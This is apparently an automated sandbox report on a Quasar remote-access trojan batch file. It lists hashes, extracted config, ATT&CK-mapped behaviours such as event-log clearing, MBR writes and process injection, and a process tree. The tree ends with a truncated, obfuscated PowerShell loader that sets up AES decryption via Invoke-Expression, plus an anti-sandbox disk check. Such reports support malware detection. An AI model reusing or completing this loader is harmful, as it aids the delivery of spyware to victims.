quasar | 37f8cdab00b96fa1d7f5edd1c0d7ed1c048b7cf0a94b30e4b2fe507dbd69ebff

Analysis

max time kernel
10s
max time network
27s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
18-12-2024 01:57

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General

Target

Loli.bat
Size

7.3MB
MD5

8a7f2cf2f4a59fc4220c677d3b8df79e
SHA1

6bb7854dc78dcb7a5e419e5eec371f4a776bb6a7
SHA256

37f8cdab00b96fa1d7f5edd1c0d7ed1c048b7cf0a94b30e4b2fe507dbd69ebff
SHA512

15acdd90a51634c1dbfcbee7dd2822742e42c4618e6590e238ac08abbb26c53e3c3e64e98ddb5439c7499af90eca66bb49c7dfeb5b6e01693e4e521fa5edbfc4
SSDEEP

49152:ATU9DCJDJw+wDkT1uYtsfLfYJZpXAQfiWBpvuLpCKUYCPFJJ+weKaTYHlFYdWKhL:n

Score

10^/10

quasar bootkit defense_evasion execution persistence spyware trojan

Malware Config

Extracted

Family

quasar

Attributes

encryption_key
BF83117B79367DC6A2463E499652930B1A20BE7A
reconnect_delay
3000

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar
Quasar family
quasar

Quasar payload 1 IoCs

resource	yara_rule
behavioral2/memory/5108-1380-0x0000028DED4C0000-0x0000028DEDC2E000-memory.dmp	family_quasar

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 2296 created 612	2296	powershell.exe	5

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5108	powershell.exe
2296	powershell.exe

Indicator Removal: Clear Windows Event Logs 1 TTPs 1 IoCs

Clear Windows Event Logs to hide the activity of an intrusion.

defense_evasion

Clear Windows Event Logs

T1070.001

description	ioc	Process
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-WindowsUpdateClient%4Operational.evtx	svchost.exe

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\J:	svchost.exe
File opened (read-only)	\??\K:	svchost.exe
File opened (read-only)	\??\L:	svchost.exe
File opened (read-only)	\??\M:	svchost.exe
File opened (read-only)	\??\Q:	svchost.exe
File opened (read-only)	\??\T:	svchost.exe
File opened (read-only)	\??\U:	svchost.exe
File opened (read-only)	\??\H:	svchost.exe
File opened (read-only)	\??\O:	svchost.exe
File opened (read-only)	\??\S:	svchost.exe
File opened (read-only)	\??\X:	svchost.exe
File opened (read-only)	\??\Z:	svchost.exe
File opened (read-only)	\??\B:	svchost.exe
File opened (read-only)	\??\G:	svchost.exe
File opened (read-only)	\??\I:	svchost.exe
File opened (read-only)	\??\N:	svchost.exe
File opened (read-only)	\??\A:	svchost.exe
File opened (read-only)	\??\E:	svchost.exe
File opened (read-only)	\??\P:	svchost.exe
File opened (read-only)	\??\R:	svchost.exe
File opened (read-only)	\??\V:	svchost.exe
File opened (read-only)	\??\W:	svchost.exe
File opened (read-only)	\??\Y:	svchost.exe

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PHYSICALDRIVE0	wmiprvse.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2296 set thread context of 3352	2296	powershell.exe	89

Drops file in Windows directory 7 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\DataStore.edb	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\DataStore.jfm	svchost.exe
File opened for modification	C:\Windows\$rbx-onimai2	powershell.exe
File created	C:\Windows\$rbx-onimai2\$rbx-CO2.bat	cmd.exe
File opened for modification	C:\Windows\WindowsUpdate.log	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\Logs\edb.chk	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\Logs\edb.log	svchost.exe

Checks SCSI registry key(s) 3 TTPs 6 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000	dwm.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\ConfigFlags	dwm.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID	dwm.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\HardwareID	dwm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	dwm.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags	dwm.exe

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	dwm.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	dwm.exe

Modifies data under HKEY_USERS 59 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	WaaSMedicAgent.exe

Suspicious behavior: EnumeratesProcesses 27 IoCs

pid	Process
2296	powershell.exe
2296	powershell.exe
2296	powershell.exe
3352	dllhost.exe
3352	dllhost.exe
3352	dllhost.exe
3352	dllhost.exe
3352	dllhost.exe
3352	dllhost.exe
3352	dllhost.exe
3352	dllhost.exe
4476	svchost.exe
4476	svchost.exe
3352	dllhost.exe
3352	dllhost.exe
3352	dllhost.exe
3352	dllhost.exe
3352	dllhost.exe
3352	dllhost.exe
3352	dllhost.exe
3352	dllhost.exe
3352	dllhost.exe
3352	dllhost.exe
3352	dllhost.exe
3352	dllhost.exe
3352	dllhost.exe
3352	dllhost.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2296	powershell.exe
Token: SeDebugPrivilege	3352	dllhost.exe
Token: SeAssignPrimaryTokenPrivilege	1972	svchost.exe
Token: SeIncreaseQuotaPrivilege	1972	svchost.exe
Token: SeSecurityPrivilege	1972	svchost.exe
Token: SeTakeOwnershipPrivilege	1972	svchost.exe
Token: SeLoadDriverPrivilege	1972	svchost.exe
Token: SeSystemtimePrivilege	1972	svchost.exe
Token: SeBackupPrivilege	1972	svchost.exe
Token: SeRestorePrivilege	1972	svchost.exe
Token: SeShutdownPrivilege	1972	svchost.exe
Token: SeSystemEnvironmentPrivilege	1972	svchost.exe
Token: SeUndockPrivilege	1972	svchost.exe
Token: SeManageVolumePrivilege	1972	svchost.exe
Token: SeShutdownPrivilege	3524	Explorer.EXE
Token: SeCreatePagefilePrivilege	3524	Explorer.EXE
Token: SeShutdownPrivilege	3524	Explorer.EXE
Token: SeCreatePagefilePrivilege	3524	Explorer.EXE
Token: SeCreateGlobalPrivilege	1516	dwm.exe
Token: SeChangeNotifyPrivilege	1516	dwm.exe
Token: 33	1516	dwm.exe
Token: SeIncBasePriorityPrivilege	1516	dwm.exe
Token: SeShutdownPrivilege	3524	Explorer.EXE
Token: SeCreatePagefilePrivilege	3524	Explorer.EXE
Token: SeShutdownPrivilege	3524	Explorer.EXE
Token: SeCreatePagefilePrivilege	3524	Explorer.EXE
Token: SeShutdownPrivilege	5064	svchost.exe
Token: SeCreatePagefilePrivilege	5064	svchost.exe
Token: SeShutdownPrivilege	5064	svchost.exe
Token: SeCreatePagefilePrivilege	5064	svchost.exe
Token: SeShutdownPrivilege	3524	Explorer.EXE
Token: SeCreatePagefilePrivilege	3524	Explorer.EXE
Token: SeShutdownPrivilege	5064	svchost.exe
Token: SeCreatePagefilePrivilege	5064	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	1972	svchost.exe
Token: SeIncreaseQuotaPrivilege	1972	svchost.exe
Token: SeSecurityPrivilege	1972	svchost.exe
Token: SeTakeOwnershipPrivilege	1972	svchost.exe
Token: SeLoadDriverPrivilege	1972	svchost.exe
Token: SeBackupPrivilege	1972	svchost.exe
Token: SeRestorePrivilege	1972	svchost.exe
Token: SeShutdownPrivilege	1972	svchost.exe
Token: SeSystemEnvironmentPrivilege	1972	svchost.exe
Token: SeManageVolumePrivilege	1972	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	1972	svchost.exe
Token: SeIncreaseQuotaPrivilege	1972	svchost.exe
Token: SeSecurityPrivilege	1972	svchost.exe
Token: SeTakeOwnershipPrivilege	1972	svchost.exe
Token: SeLoadDriverPrivilege	1972	svchost.exe
Token: SeSystemtimePrivilege	1972	svchost.exe
Token: SeBackupPrivilege	1972	svchost.exe
Token: SeRestorePrivilege	1972	svchost.exe
Token: SeShutdownPrivilege	1972	svchost.exe
Token: SeSystemEnvironmentPrivilege	1972	svchost.exe
Token: SeUndockPrivilege	1972	svchost.exe
Token: SeManageVolumePrivilege	1972	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	1972	svchost.exe
Token: SeIncreaseQuotaPrivilege	1972	svchost.exe
Token: SeSecurityPrivilege	1972	svchost.exe
Token: SeTakeOwnershipPrivilege	1972	svchost.exe
Token: SeLoadDriverPrivilege	1972	svchost.exe
Token: SeSystemtimePrivilege	1972	svchost.exe
Token: SeBackupPrivilege	1972	svchost.exe
Token: SeRestorePrivilege	1972	svchost.exe

Suspicious use of FindShellTrayWindow 16 IoCs

pid	Process
3524	Explorer.EXE
3524	Explorer.EXE
3524	Explorer.EXE
3524	Explorer.EXE
3524	Explorer.EXE
3524	Explorer.EXE
3524	Explorer.EXE
3524	Explorer.EXE
3524	Explorer.EXE
3524	Explorer.EXE
3524	Explorer.EXE
3524	Explorer.EXE
3524	Explorer.EXE
3524	Explorer.EXE
3524	Explorer.EXE
3524	Explorer.EXE

Suspicious use of SendNotifyMessage 2 IoCs

pid	Process
3524	Explorer.EXE
3524	Explorer.EXE

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4268	Conhost.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2808 wrote to memory of 804	2808	cmd.exe	84
PID 2808 wrote to memory of 804	2808	cmd.exe	84
PID 2808 wrote to memory of 736	2808	cmd.exe	85
PID 2808 wrote to memory of 736	2808	cmd.exe	85
PID 2808 wrote to memory of 4840	2808	cmd.exe	86
PID 2808 wrote to memory of 4840	2808	cmd.exe	86
PID 2808 wrote to memory of 2296	2808	cmd.exe	87
PID 2808 wrote to memory of 2296	2808	cmd.exe	87
PID 2296 wrote to memory of 3352	2296	powershell.exe	89
PID 2296 wrote to memory of 3352	2296	powershell.exe	89
PID 2296 wrote to memory of 3352	2296	powershell.exe	89
PID 2296 wrote to memory of 3352	2296	powershell.exe	89
PID 2296 wrote to memory of 3352	2296	powershell.exe	89
PID 2296 wrote to memory of 3352	2296	powershell.exe	89
PID 2296 wrote to memory of 3352	2296	powershell.exe	89
PID 2296 wrote to memory of 3352	2296	powershell.exe	89
PID 3352 wrote to memory of 612	3352	dllhost.exe	5
PID 3352 wrote to memory of 668	3352	dllhost.exe	7
PID 3352 wrote to memory of 952	3352	dllhost.exe	12
PID 3352 wrote to memory of 316	3352	dllhost.exe	13
PID 668 wrote to memory of 2832	668	lsass.exe	50
PID 3352 wrote to memory of 536	3352	dllhost.exe	14
PID 668 wrote to memory of 2832	668	lsass.exe	50
PID 3352 wrote to memory of 1040	3352	dllhost.exe	16
PID 668 wrote to memory of 2832	668	lsass.exe	50
PID 668 wrote to memory of 2832	668	lsass.exe	50
PID 3352 wrote to memory of 1096	3352	dllhost.exe	17
PID 3352 wrote to memory of 1104	3352	dllhost.exe	18
PID 3352 wrote to memory of 1160	3352	dllhost.exe	19
PID 3352 wrote to memory of 1172	3352	dllhost.exe	20
PID 3352 wrote to memory of 1268	3352	dllhost.exe	21
PID 3352 wrote to memory of 1296	3352	dllhost.exe	22
PID 3352 wrote to memory of 1336	3352	dllhost.exe	23
PID 3352 wrote to memory of 1412	3352	dllhost.exe	24
PID 3352 wrote to memory of 1452	3352	dllhost.exe	25
PID 3352 wrote to memory of 1576	3352	dllhost.exe	26
PID 3352 wrote to memory of 1592	3352	dllhost.exe	27
PID 3352 wrote to memory of 1632	3352	dllhost.exe	28
PID 3352 wrote to memory of 1716	3352	dllhost.exe	29
PID 3352 wrote to memory of 1752	3352	dllhost.exe	30
PID 3352 wrote to memory of 1760	3352	dllhost.exe	31
PID 3352 wrote to memory of 1900	3352	dllhost.exe	32
PID 3352 wrote to memory of 1972	3352	dllhost.exe	33
PID 3352 wrote to memory of 2036	3352	dllhost.exe	34
PID 3352 wrote to memory of 1496	3352	dllhost.exe	35
PID 3352 wrote to memory of 1648	3352	dllhost.exe	36
PID 3352 wrote to memory of 2052	3352	dllhost.exe	37
PID 3352 wrote to memory of 2116	3352	dllhost.exe	38
PID 3352 wrote to memory of 2268	3352	dllhost.exe	40
PID 3352 wrote to memory of 2300	3352	dllhost.exe	41
PID 3352 wrote to memory of 2540	3352	dllhost.exe	42
PID 3352 wrote to memory of 2576	3352	dllhost.exe	43
PID 3352 wrote to memory of 2616	3352	dllhost.exe	44
PID 3352 wrote to memory of 2628	3352	dllhost.exe	45
PID 3352 wrote to memory of 2756	3352	dllhost.exe	46
PID 3352 wrote to memory of 2780	3352	dllhost.exe	47
PID 3352 wrote to memory of 2800	3352	dllhost.exe	48
PID 3352 wrote to memory of 2824	3352	dllhost.exe	49
PID 3352 wrote to memory of 2832	3352	dllhost.exe	50
PID 3352 wrote to memory of 2876	3352	dllhost.exe	51
PID 3352 wrote to memory of 2892	3352	dllhost.exe	52
PID 3352 wrote to memory of 3108	3352	dllhost.exe	53
PID 3352 wrote to memory of 3416	3352	dllhost.exe	55
PID 3352 wrote to memory of 3524	3352	dllhost.exe	56

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:612
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:316
- - C:\Windows\system32\WerFault.exe
    C:\Windows\system32\WerFault.exe -u -p 316 -s 3732
    3⤵
    PID:1952
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{9bae6853-a6d4-4b6c-9eb5-dfb92a2d7130}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3352
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  - Checks SCSI registry key(s)
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1516
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{c7a45420-e94b-4587-a892-08f48b242607}
  2⤵
  PID:3980

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
- Suspicious use of WriteProcessMemory
PID:668

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:952

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:536

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:1040

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1096

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1104

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Indicator Removal: Clear Windows Event Logs
PID:1160

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1172
- C:\Windows\system32\taskhostw.exe
  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
  2⤵
  PID:2780

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1268

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1296

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1336

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1412

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1452
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:2540

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1576

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1592

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1632

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1716

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1752

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1760

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1900

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1972

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:2036

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1496

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1648

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:2052

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2116

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2268

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2300

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2576

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2616

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2628

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
PID:2756

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:2800

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
- Enumerates connected drives
PID:2824

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2832

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2876

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2892

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:3108

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3416

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:3524
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Loli.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2808
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1356
- - C:\Windows\system32\fsutil.exe
    fsutil fsinfo drives
    3⤵
    PID:804
- - C:\Windows\system32\findstr.exe
    findstr /i /c:"DADY HARDDISK" /c:"WDS100T2B0A" /c:"QEMU HARDDISK"
    3⤵
    PID:736
- - C:\Windows\system32\cmd.exe
    cmd.exe /c echo function mlBf($ELFV){ Invoke-Expression -Verbose -WarningAction Inquire '$cUKE=[JZSyJZsJZteJZm.JZSJZeJZcuJZrJZiJZtJZyJZ.CJZrJZypJZtJZoJZgrJZaJZpJZhJZy.JZAeJZsJZ]:JZ:CJZrJZeJZaJZtJZe(JZ)JZ;'.Replace('JZ', ''); Invoke-Expression -WarningAction Inquire -Verbose '$cUKE.MUcodUceUc=[UcSyUcsUctUcemUc.UcSUceUccUcurUciUctyUc.UcCUcryUcpUctUcoUcgrUcapUchUcy.UcCiUcpUchUceUcrUcMoUcdUce]Uc:Uc:UcCBUcCUc;'.Replace('Uc', ''); Invoke-Expression -Debug -Verbose -WarningAction Inquire -InformationAction Ignore '$cUKE.PGxadGxdGxinGxg=Gx[GxSGxysGxtGxeGxmGx.GxSeGxcGxurGxiGxtGxy.GxCGxrGxyGxptGxogGxrGxapGxhyGx.GxPGxaGxdGxdiGxnGxgMGxoGxdGxe]Gx:Gx:GxPGxKCGxSGx7;'.Replace('Gx', ''); Invoke-Expression -Debug -WarningAction Inquire -Verbose -InformationAction Ignore 